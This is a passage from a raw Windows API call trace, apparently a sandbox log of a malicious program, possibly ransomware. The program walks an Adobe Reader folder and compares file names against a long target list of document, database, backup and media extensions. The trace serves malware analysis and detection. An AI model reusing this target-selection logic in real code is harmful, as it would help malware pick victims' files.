(lpString1=".anim", lpString2="gs.js") returned -1 [0267.159] lstrlenW (lpString=".arw") returned 4 [0267.159] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".as") returned 3 [0267.159] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.159] lstrlenW (lpString=".asa") returned 4 [0267.159] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".asc") returned 4 [0267.159] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".ascx") returned 5 [0267.159] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.159] lstrlenW (lpString=".asm") returned 4 [0267.159] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".asmx") returned 5 [0267.159] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.159] lstrlenW (lpString=".asp") returned 4 [0267.160] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".aspx") returned 5 [0267.160] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.160] lstrlenW (lpString=".asr") returned 4 [0267.160] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".asx") returned 4 [0267.160] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".avi") returned 4 [0267.160] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".avs") returned 4 [0267.160] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".backup") returned 7 [0267.160] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.160] lstrlenW (lpString=".bak") returned 4 [0267.160] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".bay") returned 4 [0267.160] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.160] lstrlenW (lpString=".bd") returned 3 [0267.160] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.160] lstrlenW (lpString=".bin") returned 4 [0267.161] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".bmp") returned 4 [0267.161] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".bz2") returned 4 [0267.161] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".c") returned 2 [0267.161] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.161] lstrlenW (lpString=".cdr") returned 4 [0267.161] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".cer") returned 4 [0267.161] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".cf") returned 3 [0267.161] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.161] lstrlenW (lpString=".cfc") returned 4 [0267.161] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".cfm") returned 4 [0267.161] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.161] lstrlenW (lpString=".cfml") returned 5 [0267.162] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.162] lstrlenW (lpString=".cfu") returned 4 [0267.162] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.162] lstrlenW (lpString=".chm") returned 4 [0267.162] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.162] lstrlenW (lpString=".cin") returned 4 [0267.162] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.162] lstrlenW (lpString=".class") returned 6 [0267.162] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.162] lstrlenW (lpString=".clx") returned 4 [0267.162] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.162] lstrlenW (lpString=".config") returned 7 [0267.162] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.162] lstrlenW (lpString=".cpp") returned 4 [0267.162] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.162] lstrlenW (lpString=".cr2") returned 4 [0267.162] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.162] lstrlenW (lpString=".crt") returned 4 [0267.162] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".crw") returned 4 [0267.163] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".cs") returned 3 [0267.163] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.163] lstrlenW (lpString=".css") returned 4 [0267.163] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".csv") returned 4 [0267.163] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".cub") returned 4 [0267.163] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".dae") returned 4 [0267.163] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".dat") returned 4 [0267.163] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.163] lstrlenW (lpString=".db") returned 3 [0267.163] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.163] lstrlenW (lpString=".dbf") returned 4 [0267.164] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dbx") returned 4 [0267.164] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dc3") returned 4 [0267.164] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dcm") returned 4 [0267.164] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dcr") returned 4 [0267.164] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".der") returned 4 [0267.164] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dib") returned 4 [0267.164] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dic") returned 4 [0267.164] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".dif") returned 4 [0267.164] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".divx") returned 5 [0267.164] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.164] lstrlenW (lpString=".djvu") returned 5 [0267.164] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.164] lstrlenW (lpString=".dng") returned 4 [0267.164] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.164] lstrlenW (lpString=".doc") returned 4 [0267.164] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.165] lstrlenW (lpString=".docm") returned 5 [0267.165] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.165] lstrlenW (lpString=".docx") returned 5 [0267.165] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.165] lstrlenW (lpString=".dot") returned 4 [0267.165] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.165] lstrlenW (lpString=".dotm") returned 5 [0267.165] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.165] lstrlenW (lpString=".dotx") returned 5 [0267.165] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.165] lstrlenW (lpString=".dpx") returned 4 [0267.165] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.165] lstrlenW (lpString=".dqy") returned 4 [0267.165] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.165] lstrlenW (lpString=".dsn") returned 4 [0267.165] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.165] lstrlenW (lpString=".dt") returned 3 [0267.165] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.165] lstrlenW (lpString=".dtd") returned 4 [0267.165] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.165] lstrlenW (lpString=".dwg") returned 4 [0267.166] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.166] lstrlenW (lpString=".dwt") returned 4 [0267.166] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.166] lstrlenW (lpString=".dx") returned 3 [0267.166] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.166] lstrlenW (lpString=".dxf") returned 4 [0267.166] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.166] lstrlenW (lpString=".edml") returned 5 [0267.166] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.166] lstrlenW (lpString=".efd") returned 4 [0267.166] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.166] lstrlenW (lpString=".elf") returned 4 [0267.166] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.166] lstrlenW (lpString=".emf") returned 4 [0267.166] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.166] lstrlenW (lpString=".emz") returned 4 [0267.166] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.167] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.167] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0267.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0267.167] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0267.167] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl") returned 106 [0267.167] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl") returned 1 [0267.167] lstrlenW (lpString="pl-pl") returned 5 [0267.167] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="pl-pl") returned -1 [0267.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0267.168] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl") returned 106 [0267.168] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0267.534] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.534] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.534] lstrlenW (lpString="ui-strings.js") returned 13 [0267.534] lstrlenW (lpString=".1cd") returned 4 [0267.534] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.534] lstrlenW (lpString=".3ds") returned 4 [0267.534] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.534] lstrlenW (lpString=".3fr") returned 4 [0267.534] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.534] lstrlenW (lpString=".3g2") returned 4 [0267.534] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.534] lstrlenW (lpString=".3gp") returned 4 [0267.535] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.535] lstrlenW (lpString=".7z") returned 3 [0267.535] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.535] lstrlenW (lpString=".accda") returned 6 [0267.535] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.535] lstrlenW (lpString=".accdb") returned 6 [0267.535] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.535] lstrlenW (lpString=".accdc") returned 6 [0267.535] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.535] lstrlenW (lpString=".accde") returned 6 [0267.535] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.535] lstrlenW (lpString=".accdt") returned 6 [0267.535] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.535] lstrlenW (lpString=".accdw") returned 6 [0267.535] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.535] lstrlenW (lpString=".adb") returned 4 [0267.535] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.535] lstrlenW (lpString=".adp") returned 4 [0267.535] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.535] lstrlenW (lpString=".ai") returned 3 [0267.535] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.535] lstrlenW (lpString=".ai3") returned 4 [0267.535] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".ai4") returned 4 [0267.536] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".ai5") returned 4 [0267.536] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".ai6") returned 4 [0267.536] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".ai7") returned 4 [0267.536] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".ai8") returned 4 [0267.536] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".anim") returned 5 [0267.536] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.536] lstrlenW (lpString=".arw") returned 4 [0267.536] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".as") returned 3 [0267.536] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.536] lstrlenW (lpString=".asa") returned 4 [0267.536] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".asc") returned 4 [0267.536] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.536] lstrlenW (lpString=".ascx") returned 5 [0267.536] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.537] lstrlenW (lpString=".asm") returned 4 [0267.537] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.537] lstrlenW (lpString=".asmx") returned 5 [0267.537] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.537] lstrlenW (lpString=".asp") returned 4 [0267.537] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.537] lstrlenW (lpString=".aspx") returned 5 [0267.537] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.537] lstrlenW (lpString=".asr") returned 4 [0267.537] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.537] lstrlenW (lpString=".asx") returned 4 [0267.537] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.537] lstrlenW (lpString=".avi") returned 4 [0267.537] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.537] lstrlenW (lpString=".avs") returned 4 [0267.537] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.537] lstrlenW (lpString=".backup") returned 7 [0267.537] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.538] lstrlenW (lpString=".bak") returned 4 [0267.538] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".bay") returned 4 [0267.538] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".bd") returned 3 [0267.538] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.538] lstrlenW (lpString=".bin") returned 4 [0267.538] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".bmp") returned 4 [0267.538] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".bz2") returned 4 [0267.538] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".c") returned 2 [0267.538] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.538] lstrlenW (lpString=".cdr") returned 4 [0267.538] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".cer") returned 4 [0267.538] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".cf") returned 3 [0267.538] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.538] lstrlenW (lpString=".cfc") returned 4 [0267.538] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.538] lstrlenW (lpString=".cfm") returned 4 [0267.539] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.539] lstrlenW (lpString=".cfml") returned 5 [0267.539] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.539] lstrlenW (lpString=".cfu") returned 4 [0267.539] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.539] lstrlenW (lpString=".chm") returned 4 [0267.539] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.539] lstrlenW (lpString=".cin") returned 4 [0267.539] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.539] lstrlenW (lpString=".class") returned 6 [0267.539] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.539] lstrlenW (lpString=".clx") returned 4 [0267.539] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.539] lstrlenW (lpString=".config") returned 7 [0267.540] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.540] lstrlenW (lpString=".cpp") returned 4 [0267.540] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".cr2") returned 4 [0267.540] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".crt") returned 4 [0267.540] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".crw") returned 4 [0267.540] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".cs") returned 3 [0267.540] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.540] lstrlenW (lpString=".css") returned 4 [0267.540] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".csv") returned 4 [0267.540] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".cub") returned 4 [0267.540] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".dae") returned 4 [0267.540] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".dat") returned 4 [0267.540] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".db") returned 3 [0267.540] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.540] lstrlenW (lpString=".dbf") returned 4 [0267.540] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.540] lstrlenW (lpString=".dbx") returned 4 [0267.540] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".dc3") returned 4 [0267.541] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".dcm") returned 4 [0267.541] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".dcr") returned 4 [0267.541] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".der") returned 4 [0267.541] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".dib") returned 4 [0267.541] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".dic") returned 4 [0267.541] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".dif") returned 4 [0267.541] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".divx") returned 5 [0267.541] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.541] lstrlenW (lpString=".djvu") returned 5 [0267.541] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.541] lstrlenW (lpString=".dng") returned 4 [0267.541] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".doc") returned 4 [0267.541] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.541] lstrlenW (lpString=".docm") returned 5 [0267.542] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.542] lstrlenW (lpString=".docx") returned 5 [0267.542] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.542] lstrlenW (lpString=".dot") returned 4 [0267.542] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.542] lstrlenW (lpString=".dotm") returned 5 [0267.542] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.542] lstrlenW (lpString=".dotx") returned 5 [0267.542] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.542] lstrlenW (lpString=".dpx") returned 4 [0267.542] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.542] lstrlenW (lpString=".dqy") returned 4 [0267.542] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.542] lstrlenW (lpString=".dsn") returned 4 [0267.542] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.542] lstrlenW (lpString=".dt") returned 3 [0267.542] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.542] lstrlenW (lpString=".dtd") returned 4 [0267.542] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.542] lstrlenW (lpString=".dwg") returned 4 [0267.542] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.542] lstrlenW (lpString=".dwt") returned 4 [0267.542] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".dx") returned 3 [0267.543] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.543] lstrlenW (lpString=".dxf") returned 4 [0267.543] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".edml") returned 5 [0267.543] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.543] lstrlenW (lpString=".efd") returned 4 [0267.543] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".elf") returned 4 [0267.543] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".emf") returned 4 [0267.543] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".emz") returned 4 [0267.543] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".epf") returned 4 [0267.543] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".eps") returned 4 [0267.543] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.543] lstrlenW (lpString=".epsf") returned 5 [0267.543] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.543] lstrlenW (lpString=".epsp") returned 5 [0267.543] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.544] lstrlenW (lpString=".erf") returned 4 [0267.544] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".exr") returned 4 [0267.544] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".f4v") returned 4 [0267.544] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".fido") returned 5 [0267.544] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0267.544] lstrlenW (lpString=".flm") returned 4 [0267.544] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".flv") returned 4 [0267.544] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".frm") returned 4 [0267.544] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".fxg") returned 4 [0267.544] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".geo") returned 4 [0267.544] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".gif") returned 4 [0267.544] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".grs") returned 4 [0267.544] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0267.544] lstrlenW (lpString=".gz") returned 3 [0267.545] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0267.545] lstrlenW (lpString=".h") returned 2 [0267.545] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0267.545] lstrlenW (lpString=".hdr") returned 4 [0267.545] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".hpp") returned 4 [0267.545] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".hta") returned 4 [0267.545] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".htc") returned 4 [0267.545] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".htm") returned 4 [0267.545] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".html") returned 5 [0267.545] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 